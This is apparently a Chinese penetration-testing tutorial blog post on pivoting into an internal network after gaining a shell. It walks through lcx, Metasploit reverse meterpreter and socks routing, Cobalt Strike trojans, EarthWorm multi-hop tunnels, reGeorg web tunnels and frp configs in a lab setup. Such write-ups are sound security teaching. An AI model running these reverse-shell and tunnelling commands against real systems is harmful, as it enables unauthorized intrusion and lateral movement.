渗透测试之内网渗透(三):流量转发

一、前言

在拿到一台服务器的shell的时候,如果想要更进一步渗透测试,则需要进行内网渗透

而内网渗透的第一步就是挂代理,首先需要明确一个概念,在日常生活中常用vpn挂代理去google查资料,自己搭过vpn的人都知道,要在买的vps上搭建ss的服务器端,之后在自己电脑上下载ss的客户端,确定对应的加密协议和密码就能成功转发

而在内网渗透的流量转发是一个道理,是在拿到shell的服务器上使用工具让它变成代理的服务器端,之后在本机使用客户端工具进行连接

二、流量转发工具

需要放在拿到shell的服务器的服务器端可使用

1.lcx

2.msf

3.cobalt Strike

4.earthworm

5.reGeorg

本地的客户端可以使用

windows

1.proxifier

2.SocksCap64

linux

1.proxychains

三、本次测试的环境

本次环境是公司搭的一个一层内网学习环境,本篇文章只总结流量转发的方法,因此大致介绍下简化的拓扑结构

攻击机:

ip:10.86.0.87 win10(该ip能访问到最外层的DMZ区web服务器)

ip: xx.xx.xx.xx kali (虚拟机,与主机win10 进行NAT连接)

被攻击机:

ip: 172.16.3.145 ,192.168.93.143 web服务器(双网卡,192为内网ip)

ip: 192.168.93.138 内网服务器,上面80有个IIS服务(能访问到该web,则说明代理成功)

明确个概念

那么DMZ区服务器弹shell到kali虚拟机要通过本机做端口映射,kali要访问内网web服务器则代理需要设置成本机的端口

四、lcx转发

本工具只是端口流量转发,并不具备完整的proxy代理功能

举个例子服务器只能本地连3389,因此攻击机连不了,但是可以通过该工具将3389转发到攻击机的端口上,就能连接了

拿到shell后,上传lcx.exe文件

将自身端口流量转发到攻击机端口上

使用方法

本机

接收2333端口来的流量,并在自己的2334端口打开

lcx.exe –listen 2333 2334

目标服务器

将自己的3389的流量转发到10.86.0.87攻击机的2333端口上

lcx.exe -slave 10.86.0.87 2333 127.0.0.1 3389

rdp连接自己的2334端口

本身流量转发

这玩意儿还能在自己的上进行端口转发,比如把3389端口流量转到自己的2333端口

lcx.exe -tran 2333 127.0.0.1 3389

五、msf

msf它本身有流量转发的模块,因为本次的msf是在kali虚拟机里面的,又因为DMZ区服务器是没法访问到kali的,意味着反弹shell是没法直接实现的

在使用msf转发前,使用frp将kali的监听端口映射到本机上

在本机中使用frps服务器端

frps.ini的配置如下,确定绑定的端口,token的值,转发的端口,即可

启动

.\frps.exe -c .\frps2.ini

在kali中使用frpc客户端

frpc.ini的配置如下,[common]是协议连接的目标,和token凭证,[appName1]~[appName3]是将10.86.0.87的10001端口映射到自己的10001端口

启动方式,利用nohup和 &,挂后台运行

nohup ./frpc -c frpc2.ini &

回过头来看windows本机,已经有信息了

可以使用nc尝试下,是否映射了

访问下windows的10001端口

再看kali里面收到了http请求头

将shell反弹到msf上

先在msf中进行监听php的msf的shell

use exploit/multi/handler 
set payload php/meterpreter/reverse_tcp
set LPORT 10001
set LHOST 10.86.0.87
run

现在DMZ服务器能间接通过的端口映射访问到kali的端口了,在冰蝎中可以使用设置好的反弹msf的payload

点击给我连,就弹回来啦

使用msf设置代理

拿到msf的shell了后,就是上代理了,这里因为我之前已经扫过网段了,可以确定内网是192.168.93.0/24网段

因此添加路由

meterpreter> run autoroute -s 192.168.93.0/24

可以查看

meterpreter> run autoroute -p

接下来将该shell挂起到后台

meterpreter> background

并且使用sock4a模块进行转发

use auxiliary/server/socks4a #socks4a socks5都可以
set srvhost 127.0.0.1
set srvport 1084
run

kali中直接firefox访问下192.168.93.80的web,页面是加载不出来的

接下来使用proxychains来代理访问内网的web

设置一下

vim /etc/proxychains.conf

proxychains curl http://192.168.93.138

即可访问成功

六、Cobalt Strike代理

这个就很好用了,强烈推荐,因为我是在windows上起的cs的服务器,因此反向代理就是本机不需要端口映射,操作也非常简单(就这玩意儿老断开连接,可能我电脑的问题

先创建个listener

生成一个exe的木马,当然有杀软的话可以使用powershell或者编程语言运行代码直接反弹

丢到服务器上运行

OK弹回来了

因为这里是代理使用的总结,就不深入总结cs的利用,直接使用代理模块

这里cs有2个代理方式,一个是浏览器代理,一个是sock代理

首先看浏览器代理

接下来,就可以使用我本机的浏览器,挂代理访问了,挂代理方式和burp一样,这里使用的是本机的4001端口

设置方式很简单

访问下试试

在kali虚拟机中同理,也可以使用这样的方式访问web了

但是proxychains是不行的,接下来可以使用cs的另一个代理socks

接下里配置proxychains

成功代理

七、使用earthworm

ew是一个很厉害的软件,但是因为很厉害所以作者已经关闭下载了....

他有各种系统的可执行文件

ew具有lcx的转发功能,还能执行socks代理

正向代理和反向代理的区别很多文章都有提到,从表面上看正向代理的代理端口和ip是在被攻击的服务器上,反向代理的端口和ip是自己的本机

正向代理

将对应系统的可执行文件上传上去

只需要在服务器执行

ew_for_Win.exe -s ssocksd -l 2336

配置好proxychains,代理为172.16.3.145:2336端口,能够访问内网了

反向代理

在本地使用ew进行端口监听,意思是将本地从4399接收到的流量转发到2337端口上

.\ew_for_Win.exe -s rcsocks -l 2337 -e 4399

在跳板的服务器上执行,将自己的代理服务转到远程10.86.0.87服务器上的4399端口

ew_for_Win.exe -s rssocks -d 10.86.0.87 -e 4399

尝试下

ew具有lcx的功能

在最上面介绍lcx的时候提到了lcx具有将远程的端口映射到本地,和将本地的端口A流量转移到端口B的功能

ew同样有lcx的功能,使用方法如下,这里还是拿3389为例

将远程端口映射到本地

在本机起监听,监听自己的4399和2338端口,将4399端口收到的数据转出到2338端口接收

.\ew_for_Win.exe -s lcx_listen -l 2338 -e 4399

在远程的服务器上执行

ew_for_Win.exe -s lcx_slave -d 10.86.0.87 -e 4399 -f 127.0.0.1 -g 3389

将本机的端口A转发到端口B

ew_for_Win.exe -s lcx_tran -l 4002 -f 127.0.0.1 -g 3389

多级代理

ew移植lcx的功能不仅仅是为了集合功能,更重要的是可以凭借该功能达到多层代理,这里没有实际的环境,举个例子

攻击机A ,边间服务器B,内网1层的服务器C,内网2层的服务器D

首先拿到B,挂好代理,只能看到C,但不能看到D,这时候就要借助EW的转发功能实现多层内网渗透


攻击机A,使用反向代理

将接到的3001端口的流量,开到自己的2001端口上,最终是挂本地2001端口,实现代理的

.\ew_for_Win.exe -s rcsocks -l 2001 -e 3001

边界服务器B,使用流量转发和流量监听

流量转发,将本地4001端口流量转移到A的3001端口上

.\ew_for_Win.exe -s lcx_slave -d A的ip -e 3001 -f 127.0.0.1 -g 4001

流量监听,将接受到的5001端口的流量转到自己的4001上

.\ew_for_Win.exe -s lcx_listen -l 4001 -e 5001

内网1层的服务器C

反向代理,将自己的5001的socks代理传给B的5001端口

.\ew_for_Win.exe -s rssocks -d B的ip -e 5001 

综上所述,访问到D的流量如下

D -> C -> B:5001 -> B:4001 -> A:3001 -> A:2001 

挂A:2001的代理,即可访问到D

八、reGeorg

reGeorg使用起来也很方便,他和以上的几种工具想比,它不需要在目标上运行程序,只需要把对应的web的脚本上传上去能够访问即可

reGeorg的文件主要是以web的后台语言为代理脚本,因此要使用reGeorg的先决条件是需目标具有web服务

这里的例子是PHP,先上传tunnel.php函数报错了,之后我上传了tunnel.nosocket.php,则正常工作了

tunnel.nosocket.php能正常打开

接下来在本地,使用python运行它的py脚本,如果不加-l参数则默认是127.0.0.1的地址开启的代理,这时kali就没法使用10.86.0.87,ip来设置代理了

python .\reGeorgSocksProxy.py -l 10.86.0.87 -p 5432 -u http://172.16.3.145/tunnel.nosocket.php

自己的5432端口即为代理端口

九、frp

在博客搬家的时候,又另外学到一招使用frp进行内网代理的,十分稳定好用,最主要的是frp是正常软件,杀软一般不会杀
理清思路,跳板机是frpc,我们的vps是frps,将跳板机的流量转到vps的一个端口上,代理走vps的转发端口即可完成内网代理

在跳板机上的frpc.ini内容如下,将tcp的流量使用socks5,压缩一下转到远程端口的8881上

[common]
server_addr = mi0.xyz
server_port = 7000
token = xxxxxx

[socks_proxy]
type = tcp
remote_port = 8881
plugin = socks5
use_compression = true

在vps服务器上的frps.ini

[common]
bind_addr = 0.0.0.0
bind_port = 7000
token = xxxxx

之后先在vps上启动frps.ini

nohup ./frps -c frps.ini &

在跳板机上启动frpc.ini

#linux
nohup ./frpc -c frpc.ini &
#windows
./frpc.exe -c frpc.ini

十、代理客户端

在最前面讲到有3个代理的客户端,其中proxychains是linux下的,也是上面各种工具使用时候,使用的代理方式验证,proxifierSocksCap64均是windows下的工具,有图形化的界面,免费的。proxifier随便找个激活码即可

proxychains

安装,kali自带的

apt-get install proxychains

直接修改/etc/proxychains.conf文件

在最下面的[ProxyList]中以以下格式设置代理

socks4 ip port
或者
socks5 ip port

使用方法也很简单,这样msf就能本身挂代理了

proxychains msfconsole

但是proxychains有些命令不支持,比如ping

proxifier

该工具是windows下的,配置有2个注意点即可

1.配置代理的ip和端口

2.配置走代理的exe程序

以刚刚的reGeorg代理为例

配置好了代理的服务器,接下来配置哪些服务走该代理

Direct是直连,即不走代理的意思, proxy SOCKS5 即是刚刚设置的代理,当前设置是firefox走代理,chrome.exe不走代理

这个规则表和配置交换机的ACL协议一样,从上往下读协议的

如果要burp抓包,则使用Any,Any,Any,即全部应用都走代理即可

SocksCap64

proxifier很相似,先设置代理

接下来右键下面的应用,选择在代理隧道中运行即可,该应用也可以添加

这里在代理隧道中运行chrome,即可访问内网的web服务

十一、结语

挂代理思路清楚了是比较简单的事情,渗透测试和CTF稍微不同的地方在于,CTF注重原理,深入到代码的写法问题,而渗透测试则注重工具的使用。lcx和ew很容易被杀软杀掉,但是在比较low或者比赛或者学习的环境中或者关掉杀软的情况下还是比较好使的@_@

十二、渗透测试零基础入门

对于从来没有接触过网络安全/渗透测试的同学,我帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

猜你喜欢

转载自blog.csdn.net/m0_74131821/article/details/130323123